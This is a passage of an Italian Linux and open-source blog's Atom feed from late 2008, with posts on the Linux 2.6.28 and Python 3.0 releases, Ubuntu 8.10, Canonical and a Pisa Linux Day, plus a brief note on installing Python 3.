26.&lt;br /&gt;&lt;br /&gt;Buon anno a TUTTI!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4242689122095313193?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4242689122095313193/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4242689122095313193' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4242689122095313193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4242689122095313193'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/01/anno-nuovo-fcm-nuovo.html' title='Anno nuovo, FCM nuovo.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1412509326765616265</id><published>2008-12-25T09:53:00.003+01:00</published><updated>2008-12-25T09:57:43.370+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Linus Torvalds'/><title type='text'>Linux Kernel 2.6.28</title><content type='html'>Lo so, lo so, è Natale per la maggior parte del mondo, eppure Linus "Santa" Torvalds ha deciso di farci un bel regalino e lo fa con una mail veramente esilarante.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.crunchgear.com/wp-content/uploads/2008/03/linux-penguin.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 193px; height: 202px;" src="http://www.crunchgear.com/wp-content/uploads/2008/03/linux-penguin.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;It doesn't really matter what day it is, or what holiday (if any) you're&lt;br /&gt;celebrating, because even if you sit at home, alone in your dank basement,&lt;br /&gt;without any holidays or friends, I bring you a tiding of great cheer: you&lt;br /&gt;can now download Linux-2.6.28, and compile it to your hearts content!&lt;br /&gt;&lt;br /&gt;Listen to the cheerful grinding of your harddisk as you reboot into an&lt;br /&gt;all-new kernel - and I'm sure that if your computer could smile, it would&lt;br /&gt;have a big silly grin on its non-existent face. So as you sit there in&lt;br /&gt;your basement, give your computer the holiday cheer too.&lt;br /&gt;&lt;br /&gt;In fact, even _if_ you have friends or family, leave them to their endless&lt;br /&gt;toil over that christmas ham or turkey, and during the night, when they're&lt;br /&gt;asleep, you can give them that magical present of a newly updated&lt;br /&gt;computer. When they wake up tomorrow morning, tell them how you saw Santa&lt;br /&gt;crawl down the chimney with his USB stick in hand, updating the OS of all&lt;br /&gt;good boys and girls.&lt;br /&gt;&lt;br /&gt;Ho, ho, ho,&lt;br /&gt;&lt;br /&gt;              Linus "almost Santa" Torvalds&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Beh, che dire, un buonissimo Natale a tutti e un grazie a Linus "almost Santa" Torvalds.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1412509326765616265?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1412509326765616265/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1412509326765616265' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1412509326765616265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1412509326765616265'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/12/linux-kernel-2628.html' title='Linux Kernel 2.6.28'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1443288158276715188</id><published>2008-12-25T09:50:00.001+01:00</published><updated>2008-12-25T09:52:02.368+01:00</updated><title type='text'>Buone Feste a tutti!!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.linuxhotbox.com/fun/linux-penguin/christmas.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 121px; height: 172px;" src="http://www.linuxhotbox.com/fun/linux-penguin/christmas.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1443288158276715188?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1443288158276715188/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1443288158276715188' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1443288158276715188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1443288158276715188'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/12/buone-feste-tutti.html' title='Buone Feste a tutti!!!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5483368856714540138</id><published>2008-12-17T23:21:00.003+01:00</published><updated>2008-12-17T23:36:53.625+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='How To Pythonize'/><title type='text'>How To Pythonize - Python 3.0</title><content type='html'>Ho già scritto qualche giorno fa che Python 3.0 è pronto per essere utilizzato per i nostri script/programmi.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://python.org/images/python-logo.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 211px; height: 71px;" src="http://python.org/images/python-logo.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ma ora più che mai è possibile testarlo e vedere effettivamente che cosa è cambiato.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;$sudo apt-get install python3&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Il comando installerà tutto il necessario.&lt;br /&gt;&lt;br /&gt;I nostri script ora vanno sempre salvati con estensione .py ma andranno fatti partire da shell con il comando&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$python3 mio_script.py&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;oppure inserire nella prima riga dello script:&lt;br /&gt;&lt;br /&gt;#!/usr/bin/env python3&lt;br /&gt;&lt;br /&gt;Purtroppo non è ancora possibile compilare i file sorgenti in byte code perchè se si avvia da il seguente errore:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$ python3 mio_script.pyc&lt;br /&gt;RuntimeError: Bad magic number in .pyc file&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;D'ora in poi continuerò questo piccolo pyspazio alla versione 3 del linguaggio che rompe con il passato. Presto vedremo come.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5483368856714540138?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5483368856714540138/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5483368856714540138' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5483368856714540138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5483368856714540138'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/12/how-to-pythonize-python-30.html' title='How To Pythonize - Python 3.0'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1666204773111274232</id><published>2008-12-04T18:19:00.004+01:00</published><updated>2008-12-17T23:46:41.435+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Python 3.0 Released</title><content type='html'>Ci siamo! Dopo mesi di release candidate e beta oggi finalmente abbiamo la final release di Python 3.0.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.python.org/images/python-logo.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 211px; height: 71px;" src="http://www.python.org/images/python-logo.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Chi lo comunica è il sito ufficiale di Python,&lt;a href="http://www.python.org/download/releases/3.0/ "&gt; http://www.python.org/download/releases/3.0/&lt;/a&gt;, in un post di ieri.&lt;br /&gt;&lt;br /&gt;Python 3.0 rompe con il passato non essendo più compatibile con le versioni 2.x .&lt;br /&gt;&lt;br /&gt;E' possibile scoprire cosa si nasconde di nuovo in questa versione consultando il link: &lt;a href="http://docs.python.org/dev/3.0/whatsnew/3.0.html"&gt;http://docs.python.org/dev/3.0/whatsnew/3.0.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1666204773111274232?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1666204773111274232/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1666204773111274232' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1666204773111274232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1666204773111274232'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/12/python-30-released.html' title='Python 3.0 Released'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3225265178235884505</id><published>2008-11-10T20:08:00.003+01:00</published><updated>2008-11-10T21:08:11.229+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Anche Ubuntu ha la sua UbuMagazine.</title><content type='html'>Oggi vado in edicola e cosa ti vedo in uno scaffale in mezzo alle solite riviste?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SRiHPX6fnmI/AAAAAAAAATk/pZBCFeIvkPw/s1600-h/100_0262.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 240px; height: 320px;" src="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SRiHPX6fnmI/AAAAAAAAATk/pZBCFeIvkPw/s320/100_0262.JPG" alt="" id="BLOGGER_PHOTO_ID_5267108462396939874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Eccola. Una rivista mensile che parla esclusivamente di Ubuntu. La rivista è edita da Sprea che sta acquisendo una discreta quota di mercato nei magazine italiani. &lt;br /&gt;&lt;br /&gt;Questo è sicuramente un post che farà storcere il naso ai puristi Linux ma vorrei che si guardasse la situazione anche da un altro punto di vista.&lt;br /&gt;Appena aperta si ha proprio la sensazione che gli autori abbiano voluto mantenere la rivista il più facile possibile. Comincia spiegando quanto convenga un sistema con una distribuzione Linux piuttosto che un sistema con sopra Windows.&lt;br /&gt;&lt;br /&gt;Io penso che sia una buona iniziativa poichè bisogna uscire dal guscio ed "educare" gli utenti più inesperti all'utilizzo di una distribuzione Linux. Nel caso specifico la distribuzione più semplice.&lt;br /&gt;&lt;br /&gt;Andrebbe comunque chiarito a chi si avvicina all'open source che è sbagliata l'uguaglianza stretta che si cerca di far trapelare con riviste di questo tipo, ovvero Ubuntu = Gnu/Linux. Gnu/Linux è ogni distribuzione, Ubuntu compreso quindi non si deve limitare la visuale.&lt;br /&gt;&lt;br /&gt;Ma cominciare a far vedere la faccia facile di Gnu/Linux non è mai male.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3225265178235884505?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3225265178235884505/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3225265178235884505' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3225265178235884505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3225265178235884505'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/11/anche-ubuntu-ha-la-sua-ubumagazine.html' title='Anche Ubuntu ha la sua UbuMagazine.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_sXS0ScZT1Nw/SRiHPX6fnmI/AAAAAAAAATk/pZBCFeIvkPw/s72-c/100_0262.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3896745985913322472</id><published>2008-11-04T10:22:00.003+01:00</published><updated>2008-11-04T10:31:14.627+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>La crisi colpisce anche Canonical</title><content type='html'>L'abbiamo letto tutti. Oramai è scritto ovunque che c'è la crisi. Tuxjournal ha parlato della dichiarazione di Shuttleworth:&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.tuxjournal.net/wp-content/uploads/2008/05/mark-shuttleworth-1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 165px; height: 186px;" src="http://www.tuxjournal.net/wp-content/uploads/2008/05/mark-shuttleworth-1.jpg" alt="" border="0" /&gt;&lt;/a&gt; &lt;span style="font-style: italic;"&gt;“Purtroppo quella legata al software libero non è un’attiva molto remunerativa, anzi non lo è per niente. In realtà non ho mai pensato che vendere pacchetti software potesse aiutare un’azienda come la nostra a sostenersi economicamente”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Io direi che, per noi ubuntisti, è giunto il momento di smettere di tettare gratuitamente da mamma Canonical ma di dare il nostro contributo sottoforma di lavoro alla nostra distribuzione preferita.&lt;br /&gt;&lt;br /&gt;Ricordo che contribuire allo sviluppo di una distribuzione vuol dire anche occuparsi della documentazione e della traduzione di programmi, cosa che non ha niente a che vedere con la programmazione.&lt;br /&gt;&lt;br /&gt;Se facciamo così molto probabilmente la Canonical potrà anche disinteressarsi dello sviluppo di Ubuntu ma quello che rimarrà è una comunità compatta che non si sfalda alle prime difficoltà.&lt;br /&gt;&lt;br /&gt;Se molte persone oggi hanno lasciato il mondo proprietario di Microsoft è anche grazie alla semplicità di Ubuntu, quindi è nostro interesse che la distribuzione sopravviva anche in un momento di crisi come può essere questo. &lt;br /&gt;&lt;br /&gt;Chi vuole può anche contribuire allo sviluppo della mamma di Ubuntu, Debian che, sul lavoro di appassionati che mettono a disposizione gratuitamente il loro lavoro, vive da molto tempo prima di Ubuntu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3896745985913322472?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3896745985913322472/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3896745985913322472' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3896745985913322472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3896745985913322472'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/11/la-crisi-colpisce-anche-canonical.html' title='La crisi colpisce anche Canonical'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6907908080006784645</id><published>2008-10-31T23:12:00.005+01:00</published><updated>2008-10-31T23:22:08.389+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu 8.10 - Ora è fra noi.</title><content type='html'>Finalmente, dopo 6 mesi di lavori, è uscita ieri la nuova versione di Gnu/Linux Ubuntu: Intrepid Ibex.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ubuntulife.files.wordpress.com/2008/04/ibex-m.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 240px; height: 179px;" src="http://ubuntulife.files.wordpress.com/2008/04/ibex-m.jpg" alt="" border="0" /&gt;&lt;/a&gt;Come al solito sono disponibili le varie versioni con KDE o XFCE.&lt;br /&gt;&lt;br /&gt;Le novità introdotte sono molte, a cominciare dalla nuova versione di Gnome e di GIMP. Ma quello che per primo mi ha stupito è il nuovo kernel linux 2.6.27 che mi pare ancora più performante del precedente.&lt;br /&gt;&lt;br /&gt;Per scaricare Ubuntu è possibile recarsi a questo link: &lt;a href="http://releases.ubuntu.com/releases/8.10/"&gt;http://releases.ubuntu.com/releases/8.10/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Buon divertimento con la nuova versione.&lt;br /&gt;&lt;br /&gt;PS: A me il nuovo tema scuro non dispiace per niente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6907908080006784645?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6907908080006784645/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6907908080006784645' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6907908080006784645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6907908080006784645'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/10/ubuntu-810-ora-fra-noi.html' title='Ubuntu 8.10 - Ora è fra noi.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2326698911205667806</id><published>2008-10-25T19:48:00.006+02:00</published><updated>2008-10-25T20:55:20.728+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Diritto'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux Day'/><title type='text'>25 Ottobre - Linux Day 2008</title><content type='html'>Pisa 25 ottobre - Una giornata un po' calda e appiccicosa ci accoglie in una Pisa in fermento per le manifestazioni sempre più forti contro il governo. Ma noi, io e la mia ragazza, siamo li per ben altri motivi: il GULP - Gruppo Utenti Linux Pisa, ha organizzato un gran bel evento per la festa nazionale dedicata al nostro pinguino.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SQNlQIh4OrI/AAAAAAAAASs/kEbtFXqo1Uk/s1600-h/linuxday_fullcolor.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 198px; height: 300px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SQNlQIh4OrI/AAAAAAAAASs/kEbtFXqo1Uk/s320/linuxday_fullcolor.png" alt="" id="BLOGGER_PHOTO_ID_5261160117540764338" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nella mattina si e' parlato di quanto è facile installare Ubuntu, ma ci tengo a ricordare che Gnu/Linux non è solo Ubuntu, anche se ultimamente si tende a fare questa eguaglianza.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SQNnP67ylCI/AAAAAAAAAS8/fNNKX62Tl8E/s1600-h/100_0198.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 267px; height: 200px;" src="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SQNnP67ylCI/AAAAAAAAAS8/fNNKX62Tl8E/s320/100_0198.jpg" alt="" id="BLOGGER_PHOTO_ID_5261162312914605090" border="0" /&gt;&lt;/a&gt;Ma la vera festa comincia nel pomeriggio dove il primo intervento a cui abbiamo assistito trattava un tema veramente interessante: La libertà a partire dal software di Francesco Galgani.&lt;br /&gt;I nostri giorni purtroppo sono invasi da brevetti sul software, una cosa che, a mio parere è completamente irrazionale. In una slide è stato addirittura mostrato come un banale sito per l'e-commerce viola almeno 20 brevetti. Un numero assurdo che dovrebbe essere nullo.&lt;br /&gt;&lt;br /&gt;Pensate che le scuole di Bolzano risparmiano 1 milione di € utilizzando software libero.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SQNqV2ncnvI/AAAAAAAAATE/k4hRcNFsiQQ/s1600-h/100_0195.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SQNqV2ncnvI/AAAAAAAAATE/k4hRcNFsiQQ/s320/100_0195.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5261165713369636594" /&gt;&lt;/a&gt; Il talk immediatamente successivo ha invece trattato un argomento molto più pratico: Il software libero e la Pubblica Amministrazione. La relatrice era Alessandra Santi.&lt;br /&gt;&lt;br /&gt;Qui invece si è mostrato come i vantaggi che il software libero potrebbe portare alla pubblica amministrazione sono veramente a 360° con un risparmio sia economico che in fatto di tempo di informatizzazione della PA.&lt;br /&gt;&lt;br /&gt;Nella fase finale ho seguito un interessantissimo tutorial su GTK, Glade, Python, interfacce grafiche a tempo di record. La scrittura di interfacce grafiche per il pinguino non sono mai state così facile come in questo periodo e mi riprometto di scrivere un articolo tutorial che tratti proprio questo aspetto.&lt;br /&gt;&lt;br /&gt;Insomma un pinguino in perfetta forma in Italia che aspetta di fare il grande salto nella PA e nelle scuole di tutta la penisola.&lt;br /&gt;&lt;br /&gt;Un ultima riga la riservo per fare i complimenti al GULP che ha organizzato veramente un bel Linux Day. Complimentoni ragazzi!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2326698911205667806?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2326698911205667806/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2326698911205667806' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2326698911205667806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2326698911205667806'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2008/10/25-ottobre-linux-day-2008.html' title='25 Ottobre - Linux Day 2008'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/SQNlQIh4OrI/AAAAAAAAASs/kEbtFXqo1Uk/s72-c/linuxday_fullcolor.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4572355608375007125</id><published>2008-10-20T13:04:00.004+02:00</published><updated>2008-10-20T13:25:07.485+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Script'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>PHP e l'input utente</title><content type='html'>Quante volte abbiamo pensato: "Quant'è comodo il php, mi servirebbe uno script che prende da tastiera un numero e....... Come si fa a prendere da tastiera?"&lt;br /&gt;&lt;br /&gt;Non so voi quanto lo avete pensato ma io si, e non trovando nelle api, forse perchè non c'è proprio, la soluzione, me la sono scritta pensando un po' in C-ese.&lt;br 